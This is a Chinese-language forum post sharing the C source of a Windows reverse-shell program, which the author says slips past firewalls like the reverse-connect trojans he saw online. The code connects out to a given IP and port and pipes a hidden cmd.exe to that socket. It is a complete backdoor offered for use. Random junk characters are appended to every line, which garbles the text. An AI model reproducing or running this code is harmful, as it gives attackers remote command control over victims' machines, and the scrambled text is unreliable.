这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y3-gUX*w0
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/* ============================== Kv(z4 z
Rebound port in Windows NT *~p(GC
By wind,2006/7 !^m%O0DT
===============================*/ 8b|OXWl
#include u!Xb?:3uj
#include &
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#pragma comment(lib,"wsock32.lib") z{S:X:X
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void OutputShell(); E2@`d6
SOCKET sClient; ^+ZgWS^%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .%=V">R
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void main(int argc,char **argv) N]NF\7(
{ NXpmT4
WSADATA stWsaData; veeI==]
int nRet; WRWWskP
SOCKADDR_IN stSaiClient,stSaiServer; ~h-C&G,v
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if(argc != 3) 5W/{h q8}}
{ 6{q;1-8j+j
printf("Useage:\n\rRebound DestIP DestPort\n"); <,"4k&0Q>V
return; +`@M*kd
} q:I$EpKf?Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); {7*>Cv}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UtnZNdlv
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stSaiClient.sin_family = AF_INET; ,7W:fwdR
stSaiClient.sin_port = htons(0); hi ~}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o*">KqU`b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ? B@E!/f
{ cHx%Nd\
printf("Bind Socket Failed!\n"); JK]R*!{n
return; ^W~p..DF
} &(EHq
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stSaiServer.sin_family = AF_INET; T*?s@$)m4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?38lHn`FyQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tF*szf|$-
{ QT!
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printf("Connect Error!"); glj7$
return; O*[{z)M.
} xl(@C*.sC1
OutputShell(); `s|]"'rX
} <Mx0\b!
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void OutputShell() ndink$
{ F>zl9Vi<
char szBuff[1024]; qFco3
SECURITY_ATTRIBUTES stSecurityAttributes; hn.bau[
OSVERSIONINFO stOsversionInfo; Wy4$*$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t42u b
STARTUPINFO stStartupInfo; oc7$H>ET1
char *szShell; CS 8jA\
PROCESS_INFORMATION stProcessInformation; mMSh2B
unsigned long lBytesRead; \ \06T`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l.`u5D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); j~E",7Q'
stSecurityAttributes.lpSecurityDescriptor = 0; Fk"Ee&H)(
stSecurityAttributes.bInheritHandle = TRUE; ~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %ft &Q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eg/<[ A:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AH#4wPxF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :XG;ru%i
stStartupInfo.wShowWindow = SW_HIDE; 3*ixlO:qGk
stStartupInfo.hStdInput = hReadPipe; [kV;[c}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fpWg R4__
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GetVersionEx(&stOsversionInfo); )w h%|
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switch(stOsversionInfo.dwPlatformId) %zBCq"y
{ t23'x0l
case 1: 0Yl4eB-
szShell = "command.com"; }|\d+V2On
break; _;1}x%4v
default: vxFTen{-F
szShell = "cmd.exe"; `F t]MR
break; Pq9|WV#F5/
} yWDTjY/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); urBc=3Rz
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send(sClient,szMsg,77,0); '3 33Ctxy
while(1) 1x)ZB~L
{ %" D%:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^n1%OzGK#
if(lBytesRead) A#8q2n270*
{ q:\g^_!OGA
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <TGn=>u
send(sClient,szBuff,lBytesRead,0); t_z,>,BqJ
} }t9.N`xu
else hRC
{ +Y"r71|A6+
lBytesRead=recv(sClient,szBuff,1024,0); q h/F
if(lBytesRead<=0) break; }`(N:p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fq )vK
} ;-P)m
} A4C+5R
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return; #LlUxHv #
}